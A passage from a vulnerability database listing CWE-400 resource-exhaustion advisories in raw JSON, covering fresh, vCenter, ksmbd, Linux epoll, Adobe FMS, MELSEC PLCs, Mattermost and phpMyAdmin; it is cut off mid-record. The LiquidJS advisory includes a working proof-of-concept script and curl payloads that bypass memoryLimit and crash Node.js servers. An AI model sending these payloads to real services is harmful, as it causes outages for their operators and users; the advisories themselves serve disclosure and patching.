CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
5433 vulnerabilities reference this CWE, most recent first.
GHSA-9QJ9-36JM-PRPV
Vulnerability from github – Published: 2018-07-24 20:16 – Updated: 2023-09-08 21:32Affected versions of fresh are vulnerable to regular expression denial of service when parsing specially crafted user input.
Recommendation
Update to version 0.5.2 or later.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "fresh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-16119"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:29:26Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "Affected versions of `fresh` are vulnerable to regular expression denial of service when parsing specially crafted user input.\n\n\n## Recommendation\n\nUpdate to version 0.5.2 or later.",
"id": "GHSA-9qj9-36jm-prpv",
"modified": "2023-09-08T21:32:03Z",
"published": "2018-07-24T20:16:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16119"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-9qj9-36jm-prpv"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/526"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Regular Expression Denial of Service in fresh"
}
GHSA-9QPG-6X42-3RC4
Vulnerability from github – Published: 2022-12-13 18:30 – Updated: 2025-04-22 06:30The vCenter Server contains a denial-of-service vulnerability in the content library service. A malicious actor with network access to port 443 on vCenter Server may exploit this issue to trigger a denial-of-service condition by sending a specially crafted header.
{
"affected": [],
"aliases": [
"CVE-2022-31698"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-13T16:15:00Z",
"severity": "MODERATE"
},
"details": "The vCenter Server contains a denial-of-service vulnerability in the content library service. A malicious actor with network access to port 443 on vCenter Server may exploit this issue to trigger a denial-of-service condition by sending a specially crafted header.",
"id": "GHSA-9qpg-6x42-3rc4",
"modified": "2025-04-22T06:30:28Z",
"published": "2022-12-13T18:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31698"
},
{
"type": "WEB",
"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2022-1588"
},
{
"type": "WEB",
"url": "https://www.vmware.com/security/advisories/VMSA-2022-0030.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-9QRV-RVG6-CQ37
Vulnerability from github – Published: 2024-11-18 12:30 – Updated: 2024-11-18 12:30A flaw was found within the handling of SMB2_READ commands in the kernel ksmbd module. The issue results from not releasing memory after its effective lifetime. An attacker can leverage this to create a denial-of-service condition on affected installations of Linux. Authentication is not required to exploit this vulnerability, but only systems with ksmbd enabled are vulnerable.
{
"affected": [],
"aliases": [
"CVE-2023-39180"
],
"database_specific": {
"cwe_ids": [
"CWE-125",
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-18T10:15:05Z",
"severity": "MODERATE"
},
"details": "A flaw was found within the handling of SMB2_READ commands in the kernel ksmbd module. The issue results from not releasing memory after its effective lifetime. An attacker can leverage this to create a denial-of-service condition on affected installations of Linux. Authentication is not required to exploit this vulnerability, but only systems with ksmbd enabled are vulnerable.",
"id": "GHSA-9qrv-rvg6-cq37",
"modified": "2024-11-18T12:30:41Z",
"published": "2024-11-18T12:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39180"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2023-39180"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2326531"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-24-589"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-9R52-FVVV-J5XF
Vulnerability from github – Published: 2022-05-13 01:24 – Updated: 2022-05-13 01:24fs/eventpoll.c in the Linux kernel before 2.6.38 places epoll file descriptors within other epoll data structures without properly checking for (1) closed loops or (2) deep chains, which allows local users to cause a denial of service (deadlock or stack memory consumption) via a crafted application that makes epoll_create and epoll_ctl system calls.
{
"affected": [],
"aliases": [
"CVE-2011-1082"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2011-04-04T12:27:00Z",
"severity": "MODERATE"
},
"details": "fs/eventpoll.c in the Linux kernel before 2.6.38 places epoll file descriptors within other epoll data structures without properly checking for (1) closed loops or (2) deep chains, which allows local users to cause a denial of service (deadlock or stack memory consumption) via a crafted application that makes epoll_create and epoll_ctl system calls.",
"id": "GHSA-9r52-fvvv-j5xf",
"modified": "2022-05-13T01:24:14Z",
"published": "2022-05-13T01:24:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-1082"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=681575"
},
{
"type": "WEB",
"url": "https://lkml.org/lkml/2011/2/5/220"
},
{
"type": "WEB",
"url": "http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git%3Ba=commit%3Bh=22bacca48a1755f79b7e0f192ddb9fbb7fc6e64e"
},
{
"type": "WEB",
"url": "http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=22bacca48a1755f79b7e0f192ddb9fbb7fc6e64e"
},
{
"type": "WEB",
"url": "http://openwall.com/lists/oss-security/2011/03/02/1"
},
{
"type": "WEB",
"url": "http://openwall.com/lists/oss-security/2011/03/02/2"
},
{
"type": "WEB",
"url": "http://www.kernel.org/pub/linux/kernel/v2.6/ChangeLog-2.6.38"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-9R5M-9576-7F6X
Vulnerability from github – Published: 2026-03-25 17:40 – Updated: 2026-03-30 13:53Summary
LiquidJS's memoryLimit security mechanism can be completely bypassed by using reverse range expressions (e.g., (100000000..1)), allowing an attacker to allocate unlimited memory. Combined with a string flattening operation (e.g., replace filter), this causes a V8 Fatal error that crashes the Node.js process, resulting in complete denial of service from a single HTTP request.
Details
When LiquidJS evaluates a range token (low..high), it calls ctx.memoryLimit.use(high - low + 1) in src/render/expression.ts:70 to account for memory usage. However, for reverse ranges where low > high (e.g., (100000000..1)), this computation yields a negative value (1 - 100000000 + 1 = -99999998).
The Limiter.use() method in src/util/limiter.ts:11-14 does not validate that the count parameter is non-negative. It simply adds count to this.base, causing the internal counter to go negative. Once the counter is sufficiently negative, subsequent legitimate memory allocations that would normally exceed the configured memoryLimit pass the base + count <= limit assertion.
// src/render/expression.ts:67-72
function * evalRangeToken (token: RangeToken, ctx: Context) {
const low: number = yield evalToken(token.lhs, ctx)
const high: number = yield evalToken(token.rhs, ctx)
ctx.memoryLimit.use(high - low + 1) // high=1, low=1e8 → use(-99999999)
return range(+low, +high + 1)
}
// src/util/limiter.ts:11-14
use (count: number) {
count = +count || 0
assert(this.base + count <= this.limit, this.message)
this.base += count // base becomes negative
}
Escalation to Process Crash via Cons-String Flattening
V8 optimizes string concatenation (append filter) by creating a cons-string (a linked tree of string fragments) rather than copying data. This means {% assign s = s | append: s %} repeated 27 times creates a 134MB logical string that consumes only kilobytes of actual memory.
However, when a filter that requires the full string buffer is applied — such as replace — V8 must "flatten" the cons-string into a contiguous memory buffer. For a 134MB cons-string, this requires allocating ~268MB (UTF-16) in a single operation. This triggers a V8 C++ level Fatal error (Fatal JavaScript invalid size error 134217729) that:
- Cannot be caught by JavaScript
try-catchorprocess.on('uncaughtException') - Immediately terminates the Node.js process (exit code 133 / SIGTRAP)
- Crashes the entire service, not just the attacking connection
The complete attack chain:
1. Insert 5 reverse ranges {% for x in (100000000..1) %}{% endfor %} → memory budget becomes -500M
2. Build a 134MB cons-string via 27 iterations of {% assign s = s | append: s %} → negligible actual memory
3. Apply {% assign flat = s | replace: 'A', 'B' %} → V8 attempts to flatten → Fatal error → process crash
The attacker payload is ~400 bytes. The server process dies instantly. Express error handlers, domain handlers, and uncaughtException handlers are all bypassed.
PoC
- LiquidJS <= 10.24.x with
memoryLimitoption enabled - Attacker can control Liquid template source code
Save the following as poc_memorylimit_bypass.js and run with node poc_memorylimit_bypass.js:
const { Liquid } = require('liquidjs');
(async () => {
const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit
// Step 1 — Baseline: memoryLimit blocks large allocation
console.log('=== Step 1: Baseline (should fail) ===');
try {
const baseline = "{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}";
const result = await engine.parseAndRender(baseline);
console.log('Result:', result); // Should not reach here
} catch (e) {
console.log('Blocked:', e.message); // "memory alloc limit exceeded"
}
// Step 2 — Bypass: reverse ranges drive counter negative
console.log('\n=== Step 2: Bypass (should succeed) ===');
try {
const bypass = "{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}";
const result = await engine.parseAndRender(bypass);
console.log('Result:', result); // "134217728" — 134MB allocated despite 100MB limit
} catch (e) {
console.log('Error:', e.message);
}
// Step 3 — Process crash: cons-string flattening via replace
console.log('\n=== Step 3: Process crash (node process will terminate) ===');
console.log('If the process exits here with code 133/SIGTRAP, the crash is confirmed.');
try {
const crash = [
...Array(5).fill('{% for x in (100000000..1) %}{% endfor %}'),
"{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}",
"{% assign flat = s | replace: 'A', 'B' %}{{ flat | size }}"
].join('');
const result = await engine.parseAndRender(crash);
console.log('Result:', result); // Should not reach here
} catch (e) {
console.log('Caught error:', e.message); // V8 Fatal error is NOT catchable
}
})();
Expected output:
=== Step 1: Baseline (should fail) ===
Blocked: memory alloc limit exceeded, line:1, col:43
=== Step 2: Bypass (should succeed) ===
Result: 134217728
=== Step 3: Process crash (node process will terminate) ===
If the process exits here with code 133/SIGTRAP, the crash is confirmed.
#
# Fatal error in , line 0
# Fatal JavaScript invalid size error 134217729
#
The process terminates at Step 3 with exit code 133 (SIGTRAP). The V8 Fatal error occurs at the C++ level and cannot be caught by try-catch, process.on('uncaughtException'), or any JavaScript error handler.
HTTP Reproduction (for applications that accept user templates)
If the application exposes an endpoint that renders user-supplied Liquid templates with memoryLimit configured (e.g., CMS preview, newsletter editor, etc.):
# Step 1 — Baseline: should return "memory alloc limit exceeded"
curl -s -X POST http://<app>/render \
-H "Content-Type: application/json" \
-d '{"template": "{% assign s = '\''A'\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}"}'
# Step 2 — Bypass: should return "134217728" (134MB allocated despite 100MB limit)
curl -s -X POST http://<app>/render \
-H "Content-Type: application/json" \
-d '{"template": "{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = '\''A'\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}"}'
# Step 3 — Process crash: connection drops, server process terminates
curl -s -X POST http://<app>/render \
-H "Content-Type: application/json" \
-d '{"template": "{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = '\''A'\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{% assign flat = s | replace: '\''A'\'', '\''B'\'' %}{{ flat | size }}"}'
Replace http://<app>/render with the actual template rendering endpoint. The payload is pure Liquid syntax and works regardless of the HTTP framework or endpoint structure.
Impact
An attacker who can control template content (common in CMS, email template editors, and SaaS platforms using LiquidJS) can bypass the memoryLimit protection entirely and crash the Node.js process:
- Complete bypass of the
memoryLimitsecurity mechanism: The explicitly configured memory limit becomes ineffective. - Process crash from a single HTTP request: V8 Fatal error terminates the entire Node.js process, not just the attacking request. This is not a catchable JavaScript exception.
- Service-wide denial of service: All in-flight requests are terminated. Manual restart or container restart policy is required to recover.
- False sense of security: Administrators who configured
memoryLimitbelieve their service is protected when it is not. - Container restart policy does not mitigate: Even with Docker
restart: alwaysor Kubernetes liveness probes, repeated crash payloads can keep the service in a perpetual restart loop. Each restart takes several seconds, during which all in-flight requests are lost and the service is unavailable.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "liquidjs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "10.24.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33285"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T17:40:53Z",
"nvd_published_at": "2026-03-26T01:16:27Z",
"severity": "HIGH"
},
"details": "### Summary\n\nLiquidJS\u0027s `memoryLimit` security mechanism can be completely bypassed by using reverse range expressions (e.g., `(100000000..1)`), allowing an attacker to allocate unlimited memory. Combined with a string flattening operation (e.g., `replace` filter), this causes a **V8 Fatal error that crashes the Node.js process**, resulting in complete denial of service from a single HTTP request.\n\n### Details\nWhen LiquidJS evaluates a range token `(low..high)`, it calls `ctx.memoryLimit.use(high - low + 1)` in `src/render/expression.ts:70` to account for memory usage. However, for reverse ranges where `low \u003e high` (e.g., `(100000000..1)`), this computation yields a negative value (`1 - 100000000 + 1 = -99999998`).\n\nThe `Limiter.use()` method in `src/util/limiter.ts:11-14` does not validate that the `count` parameter is non-negative. It simply adds `count` to `this.base`, causing the internal counter to go negative. Once the counter is sufficiently negative, subsequent legitimate memory allocations that would normally exceed the configured `memoryLimit` pass the `base + count \u003c= limit` assertion.\n\n```typescript\n// src/render/expression.ts:67-72\nfunction * evalRangeToken (token: RangeToken, ctx: Context) {\n const low: number = yield evalToken(token.lhs, ctx)\n const high: number = yield evalToken(token.rhs, ctx)\n ctx.memoryLimit.use(high - low + 1) // high=1, low=1e8 \u2192 use(-99999999)\n return range(+low, +high + 1)\n}\n\n// src/util/limiter.ts:11-14\nuse (count: number) {\n count = +count || 0\n assert(this.base + count \u003c= this.limit, this.message)\n this.base += count // base becomes negative\n}\n```\n\n#### Escalation to Process Crash via Cons-String Flattening\n\nV8 optimizes string concatenation (`append` filter) by creating a cons-string (a linked tree of string fragments) rather than copying data. This means `{% assign s = s | append: s %}` repeated 27 times creates a 134MB logical string that consumes only kilobytes of actual memory.\n\nHowever, when a filter that requires the full string buffer is applied \u2014 such as `replace` \u2014 V8 must \"flatten\" the cons-string into a contiguous memory buffer. For a 134MB cons-string, this requires allocating ~268MB (UTF-16) in a single operation. This triggers a **V8 C++ level Fatal error** (`Fatal JavaScript invalid size error 134217729`) that:\n\n- **Cannot be caught** by JavaScript `try-catch` or `process.on(\u0027uncaughtException\u0027)`\n- **Immediately terminates** the Node.js process (exit code 133 / SIGTRAP)\n- **Crashes the entire service**, not just the attacking connection\n\nThe complete attack chain:\n1. Insert 5 reverse ranges `{% for x in (100000000..1) %}{% endfor %}` \u2192 memory budget becomes -500M\n2. Build a 134MB cons-string via 27 iterations of `{% assign s = s | append: s %}` \u2192 negligible actual memory\n3. Apply `{% assign flat = s | replace: \u0027A\u0027, \u0027B\u0027 %}` \u2192 V8 attempts to flatten \u2192 **Fatal error \u2192 process crash**\n\nThe attacker payload is ~400 bytes. The server process dies instantly. Express error handlers, domain handlers, and uncaughtException handlers are all bypassed.\n\n### PoC\n- LiquidJS \u003c= 10.24.x with `memoryLimit` option enabled\n- Attacker can control Liquid template source code \n\n\nSave the following as `poc_memorylimit_bypass.js` and run with `node poc_memorylimit_bypass.js`:\n\n```javascript\nconst { Liquid } = require(\u0027liquidjs\u0027);\n\n(async () =\u003e {\n const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit\n\n // Step 1 \u2014 Baseline: memoryLimit blocks large allocation\n console.log(\u0027=== Step 1: Baseline (should fail) ===\u0027);\n try {\n const baseline = \"{% assign s = \u0027A\u0027 %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}\";\n const result = await engine.parseAndRender(baseline);\n console.log(\u0027Result:\u0027, result); // Should not reach here\n } catch (e) {\n console.log(\u0027Blocked:\u0027, e.message); // \"memory alloc limit exceeded\"\n }\n\n // Step 2 \u2014 Bypass: reverse ranges drive counter negative\n console.log(\u0027\\n=== Step 2: Bypass (should succeed) ===\u0027);\n try {\n const bypass = \"{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = \u0027A\u0027 %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}\";\n const result = await engine.parseAndRender(bypass);\n console.log(\u0027Result:\u0027, result); // \"134217728\" \u2014 134MB allocated despite 100MB limit\n } catch (e) {\n console.log(\u0027Error:\u0027, e.message);\n }\n\n // Step 3 \u2014 Process crash: cons-string flattening via replace\n console.log(\u0027\\n=== Step 3: Process crash (node process will terminate) ===\u0027);\n console.log(\u0027If the process exits here with code 133/SIGTRAP, the crash is confirmed.\u0027);\n try {\n const crash = [\n ...Array(5).fill(\u0027{% for x in (100000000..1) %}{% endfor %}\u0027),\n \"{% assign s = \u0027A\u0027 %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}\",\n \"{% assign flat = s | replace: \u0027A\u0027, \u0027B\u0027 %}{{ flat | size }}\"\n ].join(\u0027\u0027);\n const result = await engine.parseAndRender(crash);\n console.log(\u0027Result:\u0027, result); // Should not reach here\n } catch (e) {\n console.log(\u0027Caught error:\u0027, e.message); // V8 Fatal error is NOT catchable\n }\n})();\n```\n\n**Expected output:**\n\n```\n=== Step 1: Baseline (should fail) ===\nBlocked: memory alloc limit exceeded, line:1, col:43\n\n=== Step 2: Bypass (should succeed) ===\nResult: 134217728\n\n=== Step 3: Process crash (node process will terminate) ===\nIf the process exits here with code 133/SIGTRAP, the crash is confirmed.\n#\n# Fatal error in , line 0\n# Fatal JavaScript invalid size error 134217729\n#\n```\n\nThe process terminates at Step 3 with exit code 133 (SIGTRAP). The V8 Fatal error occurs at the C++ level and **cannot be caught** by `try-catch`, `process.on(\u0027uncaughtException\u0027)`, or any JavaScript error handler.\n\n#### HTTP Reproduction (for applications that accept user templates)\n\nIf the application exposes an endpoint that renders user-supplied Liquid templates with `memoryLimit` configured (e.g., CMS preview, newsletter editor, etc.):\n\n```bash\n# Step 1 \u2014 Baseline: should return \"memory alloc limit exceeded\"\ncurl -s -X POST http://\u003capp\u003e/render \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"template\": \"{% assign s = \u0027\\\u0027\u0027A\u0027\\\u0027\u0027 %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}\"}\u0027\n\n# Step 2 \u2014 Bypass: should return \"134217728\" (134MB allocated despite 100MB limit)\ncurl -s -X POST http://\u003capp\u003e/render \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"template\": \"{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = \u0027\\\u0027\u0027A\u0027\\\u0027\u0027 %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}\"}\u0027\n\n# Step 3 \u2014 Process crash: connection drops, server process terminates\ncurl -s -X POST http://\u003capp\u003e/render \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"template\": \"{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = \u0027\\\u0027\u0027A\u0027\\\u0027\u0027 %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{% assign flat = s | replace: \u0027\\\u0027\u0027A\u0027\\\u0027\u0027, \u0027\\\u0027\u0027B\u0027\\\u0027\u0027 %}{{ flat | size }}\"}\u0027\n```\n\nReplace `http://\u003capp\u003e/render` with the actual template rendering endpoint. The payload is pure Liquid syntax and works regardless of the HTTP framework or endpoint structure.\n\n### Impact\nAn attacker who can control template content (common in CMS, email template editors, and SaaS platforms using LiquidJS) can bypass the `memoryLimit` protection entirely and crash the Node.js process:\n\n- **Complete bypass of the `memoryLimit` security mechanism**: The explicitly configured memory limit becomes ineffective.\n- **Process crash from a single HTTP request**: V8 Fatal error terminates the entire Node.js process, not just the attacking request. This is not a catchable JavaScript exception.\n- **Service-wide denial of service**: All in-flight requests are terminated. Manual restart or container restart policy is required to recover.\n- **False sense of security**: Administrators who configured `memoryLimit` believe their service is protected when it is not.\n- **Container restart policy does not mitigate**: Even with Docker `restart: always` or Kubernetes liveness probes, repeated crash payloads can keep the service in a perpetual restart loop. Each restart takes several seconds, during which all in-flight requests are lost and the service is unavailable.",
"id": "GHSA-9r5m-9576-7f6x",
"modified": "2026-03-30T13:53:35Z",
"published": "2026-03-25T17:40:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-9r5m-9576-7f6x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33285"
},
{
"type": "WEB",
"url": "https://github.com/harttle/liquidjs/commit/95ddefc056a11a44d9e753fd47a39db2c241e578"
},
{
"type": "PACKAGE",
"url": "https://github.com/harttle/liquidjs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "LiquidJS: memoryLimit Bypass through Negative Range Values Leads to Process Crash"
}
GHSA-9RGW-X23V-G78G
Vulnerability from github – Published: 2022-05-02 03:48 – Updated: 2025-04-23 18:30Unspecified vulnerability in Adobe Flash Media Server (FMS) before 3.5.3 allows attackers to cause a denial of service (resource exhaustion) via unknown vectors.
{
"affected": [],
"aliases": [
"CVE-2009-3791"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-12-21T16:30:00Z",
"severity": "MODERATE"
},
"details": "Unspecified vulnerability in Adobe Flash Media Server (FMS) before 3.5.3 allows attackers to cause a denial of service (resource exhaustion) via unknown vectors.",
"id": "GHSA-9rgw-x23v-g78g",
"modified": "2025-04-23T18:30:35Z",
"published": "2022-05-02T03:48:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-3791"
},
{
"type": "WEB",
"url": "http://www.adobe.com/support/security/bulletins/apsb09-18.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/37419"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9RM6-Q34G-Q949
Vulnerability from github – Published: 2022-05-24 17:34 – Updated: 2022-05-24 17:34Uncontrolled resource consumption vulnerability in MELSEC iQ-R Series modules (R00/01/02CPU firmware version '19' and earlier, R04/08/16/32/120 (EN) CPU firmware version '51' and earlier, R08/16/32/120SFCPU firmware version '22' and earlier, R08/16/32/120PCPU all versions, R08/16/32/120PSFCPU all versions, RJ71EN71 firmware version '47' and earlier, RJ71GF11-T2 firmware version '47' and earlier, RJ72GF15-T2 firmware version '07' and earlier, RJ71GP21-SX firmware version '47' and earlier, RJ71GP21S-SX firmware version '47' and earlier, RJ71C24 (-R2/R4) all versions, and RJ71GN11-T2 all versions) allows a remote unauthenticated attacker to cause an error in a CPU unit and cause a denial-of-service (DoS) condition in execution of the program and its communication, or to cause a denial-of-service (DoS) condition in communication via the module by a specially crafted SLMP packet
{
"affected": [],
"aliases": [
"CVE-2020-5668"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-11-20T04:15:00Z",
"severity": "HIGH"
},
"details": "Uncontrolled resource consumption vulnerability in MELSEC iQ-R Series modules (R00/01/02CPU firmware version \u002719\u0027 and earlier, R04/08/16/32/120 (EN) CPU firmware version \u002751\u0027 and earlier, R08/16/32/120SFCPU firmware version \u002722\u0027 and earlier, R08/16/32/120PCPU all versions, R08/16/32/120PSFCPU all versions, RJ71EN71 firmware version \u002747\u0027 and earlier, RJ71GF11-T2 firmware version \u002747\u0027 and earlier, RJ72GF15-T2 firmware version \u002707\u0027 and earlier, RJ71GP21-SX firmware version \u002747\u0027 and earlier, RJ71GP21S-SX firmware version \u002747\u0027 and earlier, RJ71C24 (-R2/R4) all versions, and RJ71GN11-T2 all versions) allows a remote unauthenticated attacker to cause an error in a CPU unit and cause a denial-of-service (DoS) condition in execution of the program and its communication, or to cause a denial-of-service (DoS) condition in communication via the module by a specially crafted SLMP packet",
"id": "GHSA-9rm6-q34g-q949",
"modified": "2022-05-24T17:34:41Z",
"published": "2022-05-24T17:34:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-5668"
},
{
"type": "WEB",
"url": "https://jvn.jp/vu/JVNVU95980140/index.html"
},
{
"type": "WEB",
"url": "https://us-cert.cisa.gov/ics/advisories/icsa-20-324-05"
},
{
"type": "WEB",
"url": "https://www.mitsubishielectric.co.jp/psirt/vulnerability/pdf/2020-016.pdf"
},
{
"type": "WEB",
"url": "https://www.mitsubishielectric.com/en/psirt/vulnerability/pdf/2020-016_en.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9RMC-XF66-RV68
Vulnerability from github – Published: 2022-09-10 00:00 – Updated: 2022-09-15 00:00Mattermost version 7.0.x and earlier fails to sufficiently limit the in-memory sizes of concurrently uploaded JPEG images, which allows authenticated users to cause resource exhaustion on specific system configurations, resulting in server-side Denial of Service.
{
"affected": [],
"aliases": [
"CVE-2022-3147"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-09T15:15:00Z",
"severity": "MODERATE"
},
"details": "Mattermost version 7.0.x and earlier fails to sufficiently limit the in-memory sizes of concurrently uploaded JPEG images, which allows authenticated users to cause resource exhaustion on specific system configurations, resulting in server-side Denial of Service.",
"id": "GHSA-9rmc-xf66-rv68",
"modified": "2022-09-15T00:00:18Z",
"published": "2022-09-10T00:00:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3147"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1549513"
},
{
"type": "WEB",
"url": "https://mattermost.com/security-updates"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9RMM-8FP4-26HV
Vulnerability from github – Published: 2022-05-14 02:08 – Updated: 2025-05-23 21:06js/get_scripts.js.php in phpMyAdmin 4.0.x before 4.0.10.16, 4.4.x before 4.4.15.7, and 4.6.x before 4.6.3 allows remote attackers to cause a denial of service via a large array in the scripts parameter.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "phpmyadmin/phpmyadmin"
},
"ranges": [
{
"events": [
{
"introduced": "4.0"
},
{
"fixed": "4.0.10.16"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "phpmyadmin/phpmyadmin"
},
"ranges": [
{
"events": [
{
"introduced": "4.4"
},
{
"fixed": "4.4.15.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "phpmyadmin/phpmyadmin"
},
"ranges": [
{
"events": [
{
"introduced": "4.6"
},
{
"fixed": "4.6.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2016-5706"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-24T18:12:56Z",
"nvd_published_at": "2016-07-03T01:59:00Z",
"severity": "HIGH"
},
"details": "js/get_scripts.js.php in phpMyAdmin 4.0.x before 4.0.10.16, 4.4.x before 4.4.15.7, and 4.6.x before 4.6.3 allows remote attackers to cause a denial of service via a large array in the scripts parameter.",
"id": "GHSA-9rmm-8fp4-26hv",
"modified": "2025-05-23T21:06:06Z",
"published": "2022-05-14T02:08:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-5706"
},
{
"type": "WEB",
"url": "https://github.com/phpmyadmin/phpmyadmin/commit/4767f24ea4c1e3822ce71a636c341e8ad8d07aa6"
},
{
"type": "WEB",
"url": "https://github.com/phpmyadmin/phpmyadmin/commit/805225a28c1428d7809e613c731c2126960e98df"
},
{
"type": "WEB",
"url": "https://github.com/phpmyadmin/phpmyadmin/commit/abb3685c8702de887988fee31a97ef4d80d856a1"
},
{
"type": "PACKAGE",
